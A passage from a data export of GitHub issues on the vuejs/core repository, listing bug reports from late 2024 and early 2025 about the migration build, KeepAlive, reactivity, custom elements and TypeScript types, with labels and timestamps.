webpack compiled with 2 errors

### System Info

_No response_

### Any additional comments?

_No response_","need more info,can't reproduce",2025-01-08T06:53:44Z,2025-01-08T13:21:12Z,4
vuejs/core,2771762562,Typescript error: in the vuex store upon using the migration build to upgrade to Vue 3 from 2,"### Vue version

Vue Migration build

### Link to minimal reproduction

https://stackoverflow.com/questions/79334686/typescript-error-in-the-vuex-store-upon-using-the-migration-build-to-upgrade-to

### Steps to reproduce

https://stackoverflow.com/questions/79334686/typescript-error-in-the-vuex-store-upon-using-the-migration-build-to-upgrade-to

### What is expected?

the migration build should allow the Vue 2 behavior

### What is actually happening?

it is throwing error and the application does not run

### System Info

_No response_

### Any additional comments?

_No response_",,2025-01-07T02:25:38Z,2025-01-07T03:37:46Z,1
vuejs/core,2771148117,Problems with using Transition and KeepAlive at the same time,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/minimal-reproduction/vue-transition-keepalive-2

### Steps to reproduce

This issue is normal in the local development environment and can only be reproduced in the production environment.

1. run `npm run build`
2. run `npm run preview`
3. Click the buttons `one` -> `two` -> `three` -> `two` -> `one` in sequence
4. component `one` cannot be displayed

![1](https://github.com/user-attachments/assets/b400e9fc-00da-4c3b-b208-2bc663f7e93f)


### What is expected?

Consistency with development environment results

![2](https://github.com/user-attachments/assets/1e5a55a8-5b1c-4c61-a949-58c0db7c33c3)


### What is actually happening?

/

### System Info

_No response_

### Any additional comments?

Related issues:
https://github.com/vuejs/core/issues/10827
https://github.com/vuejs/core/issues/11775

Normal under Vue 3.5.2, this issue has been occurring since 3.5.3",":lady_beetle:  bug,scope: transition",2025-01-06T17:49:05Z,2025-01-07T02:48:56Z,1
vuejs/core,2770915845,compat: v-model modifiers do not work on components,"### Vue version

3.5.13

### Link to minimal reproduction

https://codepen.io/markrian/pen/mybremp

### Steps to reproduce

Enter numbers into the inputs. The displayed bound values should be numbers, not strings.

For instance:

| Expected | Actual
| ---- | --- |
| ![Screenshot from 2025-01-06 15-35-10](https://github.com/user-attachments/assets/a309867d-3c62-4cf3-9c7b-f188c21f0cac) | ![Screenshot from 2025-01-06 15-34-58](https://github.com/user-attachments/assets/98293961-d557-4d0c-a680-afca52b7daa7) |





### What is expected?

v-model modifiers should work when used on components under `@vue/compat`.

### What is actually happening?

v-model modifiers do **not** work when used on components under `@vue/compat`.

### System Info

_No response_

### Any additional comments?

You can see the behaviour working as expected under [Vue 2](https://codepen.io/markrian/pen/JoPRYZW) and [Vue 3 (proper)](https://codepen.io/markrian/pen/zxOKvmK).

It seems this behaviour was fixed on Vue 3 proper in https://github.com/vuejs/core/pull/2348. Perhaps similar treatment needs to be done for `__COMPAT__` code paths?",":hammer: p3-minor-bug,scope: v2 compat",2025-01-06T15:38:05Z,2025-06-18T12:53:27Z,1
vuejs/core,2770184309,Failed to execute 'insertBefore' on 'Node': parameter 1 is not of type 'Node'.,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNqlU02P0zAQ/SvGl92VNolQ4RKyEQnaAyABKhwtoTSZdL3rOpY/QlHV/87YbrMplB7gFs978/Jm/LyjlVLp6IDmtDCt5soSA9apkkm+UYO2ZEfMQyPE8GMJPdmTXg8bcoUdVxOjOhTTrPJSz0A9AfUBYLIdpLGkdVqDtORuJn5d3bxhssiiDTSABwsbJRoLeCKkEM0KRFlwqZwl9qeCO0Z10/GBUTImm6EDgZWDNtbysRHOkyo8ZCWpiixK/J9aHdXqE7WPAKoSfIxWsdAOuATph8y5mQuVRTZhsTebNxfZbGh6S63BlfV8nT6aQeI17XwLyqEEF6A/K8txpYzmJCAeCxv9EGpWO7g91tsHaJ/O1B/N1tcY/aLBgB6B0QmzjV4Duvbw/ddPsMXvCcQlOYHsC+ASzCCc9xhptZMd2p7xgtv3ITFcrr+Z+60FaY5DeaOeuQ98RjFH7y6M/mx3kb4KfUzucYshmf8U8hhY7aREd6eB7RthwIe2d7L1Xjzt+ubo5tCThtxgpx8FyeegoIQYur30AFbOWvzL21bw9snH1eFWy6XDpghF2oskIUkSv0/iHQKwGvC2Sd5x06wEdFHGu2E0O5O/8HT/2NxfXf7e/n0E7S8TFRbp6/Tlgu5/ATTPgKw=

### Steps to reproduce

Press button 'Run' and switch to tab 'B'

### What is expected?

No error

### What is actually happening?

With testing, following conditions are necessary to trigger this issue.
1. `KeepAlive`
2. Comment in A.vue
3. Function `Run` ever changed reference `running`
4. An element use reference `running`

This only occurs in production build.

### System Info

_No response_

### Any additional comments?

My real project use electron + typescript + vue.
When it compiles to package, not every build will result in this issue.
But it can always reproduce in vue playground.","has workaround,:hammer: p3-minor-bug",2025-01-06T09:02:43Z,2025-05-13T14:18:30Z,2
vuejs/core,2769489552,Typescript Partial<> - [@vue/compiler-sfc] Unsupported type when resolving index type,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ul1r3DAQ/CtbPdQJXO+4XvtydVzaEugHNEd70BdBMfbaUU6WhLS+5jD+713J5GJIyOPOzK5GszuIT84tjz2KrchD5ZUj0KVpr6SgIAUEpN4V0qjOWU8wgMcGRmi87SDjtkwaaSprAkEXWriK/EX2FbW28Md6Xb/KLqOETg7hxpGyptT5fgE/AO8JTR3ggCfbwL7g5ptOUSILeA270pNi8U5VhwksPsRRyhD6pqwQ9sjPDtIAOG8dejqttxDIK9Oy8hF9+3EGj0/spDH8+Nkd1wvIzjOz6d3plxENrK6xUQZ3scrng4qLy6TOV1OanB0XhJ3TJSFXAPntuhiGlNc45iuuEqqM6wmObzpbo+b8mecFrJjMV7N+seDNsJdGtcu7YA0vLkUgRWU7pzT6yQ5vbzuFE7mSF/Lve8LI97h4wKtbrA7P4HfhPmJS7DwG9EeU4sxR6Vukib7+/ZP3OCPZfa9Z/QL5C4PVffQ4yT73pmbbM11y+y2dHC9tH67jqYSHT0WjUTkmvRR8hl9e+Pqj3c3yXerjI+AU/x7Rx5kc4Gb5frneiPE/QloGYg==

### Steps to reproduce

I'm not entirely sure of which causes it, but either `Omit`, `Partial` or `Pick` cause this error.

### What is expected?

The types to be parsed correctly.

### What is actually happening?

The types are not supported by Vue and are throwing an error.

### System Info

_No response_

### Any additional comments?

_No response_","scope: compiler,scope: sfc,:hammer: p3-minor-bug",2025-01-05T22:56:45Z,2025-06-05T02:01:23Z,1
vuejs/core,2766288695,$refs not reset when destroying element on event within `watch` callback on prop value change,"### Vue version

5a6e98c, 3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVE1zmzAQ/SuKpjO2Zxw4tCeK3TadHNpD3UkyvRQfKCygBCSNJIwzHv/3roQFthNn4gMWb3fffj2xo9+kDDYt0IjGBhpZpwaWCSckFqYCdZ2JRgoO3FiMkM01KxYJzZlGz+eE9qgCC7oAD0VCArcg/nnsa1YLDfkYTxakSGsNvUPY583Zxh3w+K81RnAbx7KnAxnGXPWkywdRljWsLDjd7Yiz7vezOOzjLrGMya+GPg5c95XoHJf3eQedVIybOyj0dIY8w9tJWBz6ruLwaMoJj3WmmDTOxHDSypCVHeN3P3ZSKNGQhAbhKW53ltDPlgO2Li6HIm1rQ3aWa1ibjnqAIMf5Rml0lmxuPffumacmnc58rALTKu7f0NqPJyJGteD87c8u4ATaj3yZAuw5Hyk7xnPRBVkjcRGmYhp78c4NmErkY+lHIx5ryATXooagFuV08gElqP8OGlxP5o4z6PGJgyfrmcvhs9gnVhiHww7onBqNvAUrg0ctOF4Kly6hdmisBrWShmFeO7phrGldi+6nw456x5gKsqdX8Ee9tVhCfyvQoDa4x8FmUlWC20xCb+9/wRbPg7EReVuj9xvGO8CZtLbG3u2m5TmWfeTnqv3hpMZ4+aBvtwa49k3ZQsc9JBRVZtVxqfWx3I/BJxeHI8UpvtTqy++LXJ56xaFEw8X78ZrKpRJyVEkvv0Ef5llCRG4EaiTlXpBHCoeG2duB4sA4yFExk/77NFk7e5earDohn3Lo/qR1C2cqNAQ29qouiHcgX4inJdHAe1AfluakaQuYusjZW7Kk+/9809vh

### Steps to reproduce

1. Open *Web Developer Tools > Console*.
2. Click on ""printRefs"" button.  This prints current value of `this.$refs.other`': the instance of the `other-component`.
3. Click on ""ToggleDisplay"" and then on ""printRefs"" again.  The `other-component` disappears and `this.$refs.other` is set to `null`.
4. Click on ""ToggleDisplay"" and ""printRefs"" again. State equivalent to 2.
5. Click on ""ToggleOpen"", then on ""printRefs"".  We expect `null`, but `this.$refs.other` contains the `other-component` instance!

### What is expected?

Clicking on ""ToggleOpen"" sets the `open` reac... [TRUNCATED]",:hammer: p3-minor-bug,2025-01-02T16:13:01Z,2025-09-02T09:08:54Z,0
vuejs/core,2765457455,The subcomponent data is not updated,"### Vue version

^3.5

### Link to minimal reproduction
https://play.vuejs.org/#eNqdVV1v2zoM/SusX5oCjr2t9+ICuU6wrRuwDftCV+wlzoNmM442WfIkOWlQ5L+PkiI3/Vgw7KGNTR6Rh4ekfJO86Lps3WMySQpTad5ZMGj7blZK3nZKW3jVt+32UvUW9VeOG1hq1cJplt+zuyCnpSzyEIXO04vFthPMIr0BFKunszcohALKeVLk9OrN3exC8OoH2BXCPue33lolgckatqqHDReCaKGHMK3ZFqoVkw3WYBXMn6bP0vNFBlcrlNAoZ3PAN6rFyAyWXGAKNQq0IUyl2halTaH6XfKGcZk+xoFZD6+ZZbBiBqSykU+RO+WoqJYO+yd6/tKbDqUJKnjLfU3zCM3vYIt8H6bIByWTNLGmUnLJm+y7UZIad+OwZUIVdVSl/tRZrqQpkwl4j/Mxkn3zztus7jGN9mqF1Y9H7N/NtbOVyWeNBvUay2TwWaYbtMH9+stHvKbnwdmquheEPuK8RKNE7zgG2Mte1kT7AOfZvvXd4LK5Mq+vLWkSi3JEHXLn8WVC7b04Uvot3fPsH3+ulDtS8ZH5vb8EIKipUwpBEW8X4gY0LmG3X4Qw9ntXHLlhSQ5nkGClpM4Zir5SG5i6OKMlEwbPnItSXvEWidFodAbTWSjBQbM1EzTD033puxT+ffKEzhxbtoHKesyXVIOLUyZ+0g6mqZSkxCHJv5DAd6BM/h+8Fysu6ujLcv/qYntMlEBv2DeBoclYv+dkCoLMF0A7xeR2vjgjfEBXLsYl5fSYgryzkfNGv5IxEiFGgqJN9iEGIR8mHGR1eAq2o79jkp6Mx/Aq3iDcxCvE3Tfxcuq0oiQtjMfhiK89TCLxJh1jIWUSrOsxLQUK8jzkFzGToCvWhLotdPBSnZ+16sh5cjf6Y70emvGnja5xySW6BMbdn+7lg2N8bwHohKRNWrIKwYOD6JH5hJpy2BF6IrHB/Tq0d7kO3HaUlKQg08P8hf9PjY8YfwNHiGflJmO+mI3cgP7suXaZ3dLAzq/YHw+Lz55F9qN5lmUOt6AonmOew4sN46Qd7Q4Ng2z8V0fzpkENp8xsZRV0PQXX4FIyD//v6ITdkNyupB3loOHZf4ie+y/Und6P6JsHz1I4J0LJLNAs8oB/0PTdL3s9tTU=


https://github.com/vuejs/router/issues/2429

### Steps to reproduce

1. Click the import button and you will see the array changed to [1,2,3]
2. To HomeView.vue file, del comment
3. Click import button again
4. Data has not changed

### What is expected?

Data change

... [TRUNCATED]",":lady_beetle:  bug,duplicate,scope: suspense",2025-01-02T05:18:36Z,2025-01-03T08:00:52Z,1
vuejs/core,2765351666,Iterator helper methods are undefined using reactive proxy,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9ktFLwzAQxv+VEB+6QemQ6cscgsoe5oOK8zEgpbvVzDQJyaUrjP7vXlpWh257y9139/WXr9nzB2uzOgCf8bkvnLTIPGCw90LLyhqHbM8c5AXKGljLNs5ULKH55E5ooQujvVGQKVOOkiWCy9G4K28qYNBIjz5JNezYCnA0zupcBfB0iPr44vLagGfaYO+SpAeC0eD23+6cYZXbAYadoCH9LEzc/csyxHESpnebT/osKUUqECqrcgSq5pOjgqccPX14I8ts642mf7AXmjHBC1NZqcC9WpQEJviMdUrUcqXM7rnroQuQHvrFFxTfJ/pb38Se4G8OPLgaBB80zF0J2MuL1Qs0dB7EyqyDoukL4jtQaCEy9mOPQa8J+2iuo112L0nq8sMvGgTtD5eKoHGy7eYFp4f1dOHqv7jT7KbbE7qlFD9rcNGTApxmt9n1lLc/l1P2tg==

### Steps to reproduce

Call an [iterator helper method](https://tc39.es/proposal-iterator-helpers/#sec-iteratorprototype.map), e.g. `new Set([1,2]).values().some(value => value > 5)`. This works (in modern browsers, see [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Iterator/some)).

For typescript, this is available in es2024.

Now use a reactive object to do the same (`reactive(new Set([1,2])).values().some(value => value > 5)`). This should behave the same, but instead `undefined is not a function`, despite it typechecking in TypeScript.

### What is expected?

`reactive(new Set(...))` should offer exactly the same interface as `new Set(...)`.

An ideal futureproof solution would be that any method is called through, if it has not been patched.

### What is actually happening?

`TypeError: undefined is not a function`.

In the reproduction link, I have logged two different methods, with and wit... [TRUNCATED]",,2025-01-02T01:36:51Z,2025-01-02T10:16:19Z,3
vuejs/core,2764016259,Calling `this.$watch` in `created` hook sets active effect scope to null which causes subsequent `onScopeDispose` and `watchEffect` cleanup to fail,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqdVE1v2zAM/SuEMcAp0MYYtlPmBti6HLbDNqzdad7BkelErSJp+nAzBPnvoyQ7cbOsh94kPvLx8Yn2Lnuv9bTzmM2y0jLDtQOLzut5JflGK+NgBwZb2ENr1AZySs3fHbAbtdE9MC3CJVAFvJJMSevgsXZsDdeBYtLWwuIFgQnquOVLgadgWSQZJIAuDjda1A7pBlA2vJuXol6imJdcau/A/dF4XWVsjexhqbZVBt3VRjUoKBh7V9k8iSiLvrAILC+g6/UGwv74L2WkjaZ0V7wdF8EsqjjKKqigLEbzZZeZs2RNy1fTe6skvcgucmaMCLlA81U7TtZV2QwiErBaCPX4Ocac8Xg5xOMIZ+L3lqaa0eGbQYumI2kHzNVmhS7Bi9svuKXzASQbfBjkGfA7WiV80JjSPnjZkOxRXlT7Ke4Ol6s7u9g6lHYYKggNmfuYT+Z5DF7+b/Sj3DfTt7GukntycdjD40qPljnkxRdYtC0yFzspecuUxo/camWTVUr+kBvlpcOG7ifLX0ncRrYG29qLnlUbpe0MfuaRPv9FdSHMDNL7NpOLQThvYeLW3E5j3iEMUBRwt0bioYeRDEG1EPKSXDTAam/RUgyhZo53CBhnANoajeAULBGkF2JE2CoTC6xfWvztUTpYK/Vgh5Qo5FXsMCGJ13N4fQnpsNuHzzEkka/p8NSoviB8zUrgVKjVJE9SmpSQXwSGylVuZOe5Kj+AfUWsGb3SRMkbgbX0OgpLeOWecCQv8qFj6NnXnOvIEnRU2A8bVo/GfeYnFLbr9Mvd/wUzt8he

### Steps to reproduce

Click the playground link. Toggle ""visible"" and observe the logs. ""cleanup"" and ""scope dispose"" will be logged correctly. Now enable ""watch"". This causes the component to call `this.$watch` first thing in its `created` hook. Now toggle visible again and notice that ""cleanup"" and ""scope dispose"" aren't logged. Also Vue warns about there not being an active effect scope.

### What is expected?

Showing the component logs ""effect"".
Destroying the component logs ""cleanup"", ""scope dispose"" then ""unmounted"".

### What is actually happening?

Showing the component logs ""ef... [TRUNCATED]",🔩 p2-edge-case,2024-12-31T06:38:02Z,2025-01-08T10:08:03Z,1
vuejs/core,2763561102,Error in _injectChildStyle when shadowRoot is disabled in CustomElementApi,"### Vue version

3.5.13

### Link to minimal reproduction

[stackblitz.com/edit/vitejs-vite-hebvmeai?file=src%2Fcomponents%2FHelloWorld.ce.vue](https://stackblitz.com/edit/vitejs-vite-hebvmeai?file=src%2Fcomponents%2FHelloWorld.ce.vue)

### Steps to reproduce

1- Create a Vue component with child component inside  with scoped styles. using the Custom Element API.
2- Disable Shadow DOM.
3- Open the browser console and observe the shadowRoot error when _injectChildStyle runs.

### What is expected?

When the shadowRoot option is disabled (or otherwise omitted) and child components have their own styles, Vue should inject (or refrain from injecting) those styles without throwing console errors.

### What is actually happening?

Currently, when shadowRoot is disabled, the _injectChildStyle function attempts to apply child styles to a Shadow DOM. Since shadowRoot does not exist, a console error occurs indicating it cannot access shadowRoot or its methods.

### System Info

_No response_

### Any additional comments?

_No response_",":hammer: p3-minor-bug,scope: custom elements",2024-12-30T18:32:34Z,2025-06-05T02:02:28Z,6
vuejs/core,2762153629,Using a function imported from another file as a default value in `withDefaults` may prevent it from being tree-shaken,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-sr5itbdf

### Steps to reproduce

1. `npm install`
2. `npm run build`
3. `NotTreeShaken` component exists in `dist/assets/index-xxx.js`

### What is expected?

`NotTreeShaken` component is not imported, so it should be tree-shaken

### What is actually happening?

`NotTreeShaken` component exists in `dist/assets/index-xxx.js`

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```


### Any additional comments?
In the case of `Props Destructure`, it is tree-shaken.

In the case of withDefaults, props are compiled as follows:
```
props: {
  msg: { type: String, required: false, default: format('Hello World!!!   ') }
},
```

In the case of Props Destructure, it is compiled as follows:
```
props: {
  msg: { type: String, required: false, default: () => (format('Hello World!!!   ')) }
},
```",,2024-12-29T08:15:41Z,2024-12-30T01:56:43Z,2
vuejs/core,2761764500,The composing property is not accurate in some scenarios.,"### Vue version

3.5.13

### Link to minimal reproduction

https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/isComposing

### Steps to reproduce

The composing property is achieved in packages/runtime-dom/src/directives/vModel.ts, it'is not accurate in some scenarios.
For example, when you need to input an SMS code, the input field gets focused at first. If you click the submit button, it triggers the blur event, which also triggers the input value check. Then, the input gets focused again. At this point, the compositionstart event has been triggered, but not the compositionend event. So, composing is still true, and there's no way to set it to false. When you receive the SMS code, on iOS, you can tap the keyboard to fill in the code right away. However, if some UI library relies on this property and only allows the value to be set when composing is false, the user won't be able to enter anything into the field.

Actually, there's a property called isComposing that we can check in JavaScript. Why not handle this yourself?
[](https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/isComposing)

### What is expected?

Why do you need to handle the composing property in packages/runtime-dom/src/directives/vModel.ts?

### What is actually happening?

The vant ui library relies on this property and only allows the value to be set when composing is false, the user won't be able to enter anything into the field.

### System Info

_No response_

### Any additi... [TRUNCATED]","need more info,can't reproduce",2024-12-28T15:08:43Z,2025-01-03T00:09:40Z,1
vuejs/core,2760536140,Why is style isolation not working?,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqdUk1PwzAM/StRLlxGKjS4jDIEaEhwAMR2jIS61Cvd0iTKx9g07b/jpOo+pGlI9FT7+Tnv2d7QB2PYMgAd0NwJWxtPHPhghlzVjdHWk+cg5VhYAEVmVjfkgmX7VKRe3HKVZy0ZaRh4aIwsPGBESG6IkIVzd5waTof3+OVZ7I/QvtEwP+jaghOQkBR4jdypLtdIj8hfxKxjYphnB2IwdH4tgTihDZSYYYZsImdaiEVldVDlpdBS2wGxUKKvbbIWOVhMe9QjU83qis2dVjizROZU6MbUEuy78bVWjtNB2zZihZT65zXlvA3Q6/LiG8TiRH7uVjHH6YcFB3YJnO4wX9gKfAuPxm+wwv8d2OgySKw+A36C0zJEjW3ZIxpG2Qd1Se1L2nytqokbrTwo15mKQmPlNtVzitt/OmN9L7fPrhMPJ4pTPL4fHOPxzZy4mO5m/r3OKr52vFAU8rUEG82hhD67YVd9uv0FQs8ICg==

### Steps to reproduce

App.vue:
```vue
<script setup>
import FullScreen from './FullScreen.vue';
</script>

<template>
  <p class=""p"">????</p>
  <FullScreen></FullScreen>
  <Teleport to=""body"">
    <FullScreen></FullScreen>
  </Teleport>
</template>

<style scoped>
.p {
  background-color: red;
}
</style>
```

FullScreen.vue:
```vue
<template>
<p class=""p"">??????</p>
</template>

<style scoped>
.p {
  background-color: green;
}
</style>
```

Google Chrome version: 131.0.6778.140

en-us:
Why is the background-color of FullScreen.vue red instead of green?
Why isn't css style isolation working?

zh-cn:
为什么 FullScreen.vue 的背景颜色是红色而不是绿色？
为什么 CSS 隔离不起作用？

![bug1](https://github.com/user-attachments/assets/c7c506b9-b708-484a-b01b-4091869d94a1)
![bug2](https://github.com/user-attachments/assets/babf4ca2-fbdb-467a-8a83-a452f048c774)
![bug3](https://github.com/user-attachments/... [TRUNCATED]",,2024-12-27T07:45:41Z,2024-12-27T07:57:32Z,4
vuejs/core,2759686250,`Invalid assignment target` in v-model data binding with type assertion when building for production,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/github-4n1bjaud

### Steps to reproduce

1. Add type assertion in `v-model`, for example, `v-model=""foo as any""`
2. `npm run build`

### What is expected?

Project successfully building for production.

### What is actually happening?

type assertion is not removed:
![image](https://github.com/user-attachments/assets/98de6fb4-3d23-47f2-9056-f449ff92eeb0)


### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (6) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 18.20.3 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.2.3 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    vue: latest => 3.5.13
```


### Any additional comments?

It works fine in development.

Very similar to #8306",,2024-12-26T12:02:07Z,2024-12-27T00:58:37Z,5
vuejs/core,2759634492,"Using `watch` to observe a prop in a vue custom element, the other props accessed in the listener are the old values.","### Vue version

3.5.11

### Link to minimal reproduction

https://play.vuejs.org/#eNqVVU1v2zAM/SuEL3aL1Knd7pIlAbaih+2wFWuPBgbPZhJ3smRIcpohyH8fJfkrTdK0udQin56eHil2632pqnBdozfxpiqTRaVBoa6recKLshJSwxYkLmAHCylK8Anqd6m7VcHyJhGO7cpw9YAt5LgoON7VSovynmGJXO9xfU54wjPBlYZ1ymqMYGbOC3xBzC7iX+wh4gNEbBAJJ91PRYmi1kFwAbM5bBMODUdo/9BOn+NLy9ul4yPpmNK7EVxb6vHl5cf5r86dYAF0RnRtToHLsfViaJUKnX+Br1HpK2T+6JijgbX+gkimY1dEKh8tNJYVSzXSCmCaF+t5liqEaDIdm4WNNsQwqaSoolniOfGJ5yJxG4kTbz4dN2i39Y98RRyfJB7SHB51lvhmSOy67n16LfYE6e0J0rNaX5Ma9Z3R3sjTitp1USzDZyU4PSzbJ4mXibIqGMqflS6onRNv4jrI5FLGxMt3G9OyxlEbz1aY/T0Sf1YbE0u8B4kK5RoTr8vpVC5Ru/T94w/c0HeXLEVeM0K/kfyFSrDaaHSwrzXPSfYAZ9V+s0+84Msndb/RyFV7KSPUIHcWT87VePfG1Xu5N+Gt3UePglzsxokZTQedDBlLlaK65FgKqopjs8W1FYNCwXYLZt+DXe92fbUHwPgVMN4Dtl97FSbRvJmVzQo3dtrRy0xrRlPPRA256q5pNXUrAP2vwgk8akn+NbZCu38CfvPlBkjrpGOJP8xiJpll6YuSpzqlGdYQSRr4kg9oW9N6Dr+j74xqktQph/wvqc5WJy+/Sm1DBfSkOg3mZ4a8YBgysQx8V8WMsEvMR+7qplY0AfWqUKENmLHZ/Gywr+JsgGpBrY2n7Hy3rnhfl2m2oazolCzzz61HHZPVW1iKmmvM2yqZIBk8mO/0RH6vUZpnRy/kJvwURpG3+w9vZ4NB

### Steps to reproduce

1. Add custom components in the `<template>` of the parent component with different prop orders.  
```html
<template>
  <test-el :prop1=""value1"" :prop2=""value2""></test-el>
  <test-el :prop2=""value2"" :prop1=""value1""></test-el>
</template>
```  
2. Use `watch` in the child component to monitor changes in a prop and record the value of another prop.  
```js
  watch: {
    prop1: {
      handler(val) {
        console.log('prop1 changed, p... [TRUNCATED]","has workaround,:hammer: p3-minor-bug,scope: custom elements",2024-12-26T11:05:54Z,2025-11-05T08:50:02Z,2
vuejs/core,2759453967,A reactive variable create from the `Map` data while lost some new functions after use iterator methods like `values`,"### Vue version

3.5.13

### Link to minimal reproduction

[Vue SFC Playground](https://play.vuejs.org/#eNqNVM1u00AQfpWVL0mR47aEcjBppIJ6AAmoWm51FW3tcepmvbvaXedHUa4ICZAQUrlxQBy48SNOFa9DAo/BeG0nDq0KiWR7Z+b75tvZmZ06e1J6wwwc3+noUCXSEA0mk4RR3t8NHKMDpxvwJJVCGTIlCmhokiGQGYmVSEkDsY17awHxmi/gAQ8F14akVPYUHZFdwmFEHlPZ3Ki7pBLjCTqrDM0yHoOqsMSAokaoXk7fW/GVX96Qsgz0ivZqfJVk+V3DLFH80LIOACO79pXw63OvIAcl8b9ANukqF1aiF2ccN4xLhDciJaQLQ1ATN04YwvHFIzdm1GDF3FiofRqeuUjlKoiyEFwtUnANHeBD7ClFJ1jygpwl+Nglxw0OY9NwydEkPRXMq0QtDUYcGZXw/jPad4nneWuiPC1ZYpoNt7FxEvDOZtEk2BK4MJBKFAa4IqQTJUMSMqo1to0Gi7a9Q/CXO7uLi6+L15/nb18t3l0uvl90NnNjzT9/8X7+6SVuc/7l8ve3D1f8P398/PXm+fX+SgoZtrBGqCA/ARHbGgQO8XFZhpZk06k9pNmsTlPuwo+ooS0YIxaZbD80MXgDt4Ow1fr/0LY11vAry18Mnc31kpauNTMutZkwIDoUEiK0eGW1yTQHnQoVgWqNksic+WRbjskW/vGNU7r0WgafaMGSyNqjBM+ZTnzSV6Ul/2hVeVuhYFnKtY/jKYGaZtsl27HawMhZLqmS0L1ViJA0irCjfLLl3b29oyCtJy+lWVGFwBullXZUIJRPThkNB9ZusKtblCV97pMQOHb1VTXHtbOIKdNwUugryXCECgz2dZ4Wi+m4eOfh/MRJ3zvXguPFaBGBE4pUJgzUU2kHI3D8giv3UcbE6JG1GZWBW9nDMwgH19jP9Ti3Bc6BAg1qCIGz9Bmq+oBNm7v3j57gLmvOVEQZw+gbnIeAtcuK8cvD7mc8Qtm1OKv2ob2x87HX+2MDXFebyoXmkTMbHzh4iz+4YesruW3vjsVhRbGKPbzEck4sYNvb8bbbzuwPQ/ZEVA==)

### Steps to reproduce

do nothing

### What is expected?

all result is `true`

### What is actually happening?

some method is lost

### System Info

```shell
System:
  OS: macOS 14.6.1
  CPU: (8) arm64 Apple M2
  Memory: 76.94 MB / 16.00 GB
  Shell: 5.9 - /bin/zsh
Binaries:
  Node: 22.12.0 - ~/.local/state/fnm_multi... [TRUNCATED]","scope: reactivity,:hammer: p3-minor-bug",2024-12-26T08:20:01Z,2026-01-19T00:50:36Z,4
vuejs/core,2757595651,"Directive type definition has wrong ""modifiers"" definition","### Vue version

3.5.12

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UctOwzAQ/JWVLwGppILCpUor8agEiAKCHi2hkm6LS2Jb9iYUhfw7a5c+DqiHRPbM7Hp2pxGX1qZ1haIvMsLSFlPCodQA2UzVUJ8QekqnRTHMugwwk3X3ZHz1uVOWwCNVFoqpXgykIC8Fs6q0xhE0UE+4C7Qwd6aEJO3GexJ6ratZKzpclRs9V4t06Y1mP02wIUVuSqsKdE+WlNHcuQ+RCRwbM1/3ESNXYWeD5x+Yf/6DL/0qYFI8O/ToapRiy9HULZDW9Oj1EVd83pKlmVUFqw+QL+hNUQWPa9lVpWdse08X3d7FpSi9mPjRilD7zVDBaFC2US8Fh3J9YPSd3V56HuukbnmLcbcpeV7g3/7p2yKHcKMc5qRq3AbBLyTScYr84SpqOQFOKvbo7yqy28n4YVRgiZo64Mmx/Q4kPE8CP5BoozEZwoDNcSeAd5wbh2NTaTo6hoYHYrgNP/b3VqMLM7O/XnqRnp6J9hdUM9ct

### Steps to reproduce

Create a simple directive:

**directives/vTest.ts**
```ts
import type { Directive } from 'vue'

export const vTest: Directive<HTMLElement, string, 'all' | 'none'> = {
  beforeMount() {},
}
```

Import it, **not** using all the modifiers at once.

**App.vue**
```vue
<template>
  <div v-test.all></div>
</template>

<script setup lang=""ts"">
import { vTest } from './directives/vTest'
</script>
```

### What is expected?

No error.

### What is actually happening?

The following error appears (in VSCode), mentioning a ""runtime.core.d.ts"" type:
![image](https://github.com/user-attachments/assets/fe9f69d9-2eff-4e1c-b75e-3acb256ad91c)

Thye issue appears to be here:
![image](https://github.com/user-attachments/assets/500ad7e6-9867-44c0-a03e-854e9728904a)

Where `DirectiveModifiers` maps to `Record<K, boolean>` where it should be `Partial<Record<K, boolean>>`, since n... [TRUNCATED]",scope: types,2024-12-24T10:51:56Z,2025-03-19T03:39:00Z,1
vuejs/core,2755042227,Memory leak,"### Vue version

3.5.12

### Link to minimal reproduction

none

### Steps to reproduce

Regarding the issue of memory leakage in obtaining focus for input boxes, it has been determined that it is a bug in Chrome. Is there a temporary solution to solve this leak? Our project relies on browsers and has already been launched for customer use. Currently, memory leaks often cause crashes, and we do not know when Chrome will fix this bug. We hope to provide a temporary solution. Thank you!

### What is expected?

Resolve memory leaks

### What is actually happening?

Memory leak on input focus

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-23T01:55:39Z,2024-12-23T03:02:26Z,1
vuejs/core,2752371621,tsx中使用指令传递数组对象的时候指令编译出来的结果不对,"### Vue version

3.5.13

### Link to minimal reproduction

